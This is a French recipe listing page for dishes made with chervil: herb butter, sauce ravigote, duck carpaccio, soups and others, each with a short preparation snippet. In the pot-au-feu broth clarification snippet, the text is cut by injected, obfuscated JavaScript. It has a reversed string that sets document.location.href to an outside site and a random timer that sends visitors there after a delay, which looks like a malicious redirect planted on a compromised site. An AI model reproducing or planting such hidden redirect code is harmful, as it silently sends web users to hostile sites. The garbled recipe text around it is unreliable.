Recipes from Ingredient: Cerfeuil

Beurre à la broche

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Malaxez le beurre en pommade et incorporez le cerfeuil, l’estragon, la ciboulette et 6 gouttes ...

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Sauce ravigote

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Déposez tous les ingrédients dans un mixeur, faites tourner pendant 1 minute à grande vitesse.

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Ananas au jambon fumé

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Coupez en deux l’ananas dans le sens de la longueur. Retirez la pulpe et le ...

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Carpaccio de magret de canard fumé au melon

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Rincez, essorez, ciselez le cerfeuil. Coupez-les melons en quatre, ôtez les graines et coupez la ...

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Clarification d’un bouillon de pot-au-feu

Cuisine:
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Hachez la viande, pelez,  coupez très fins tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ...

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Velouté à l’oseille

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Équeutez l’oseille. La rincer, l’essorer puis la hacher grossièrement. Dans une grande casserole avec une ...

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Salade Espagnole

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Rincez les pommes de terre avec leur peau. Les plonger dans une casserole d’eau froide ...

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Abattis chasseur

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Pelez, Coupez-les gousses d’ail en deux, ôtez le germe. Rincez, essorez, hachez ensembles l’ail / ...

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Bouillon aux herbes

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Effeuillez le cerfeuil de façon à en avoir 10 g. Rincez, essorez l’oseille, la laitue, ...

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Velouté de poisson

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Videz le fumet dans une casserole et faites le chauffer.

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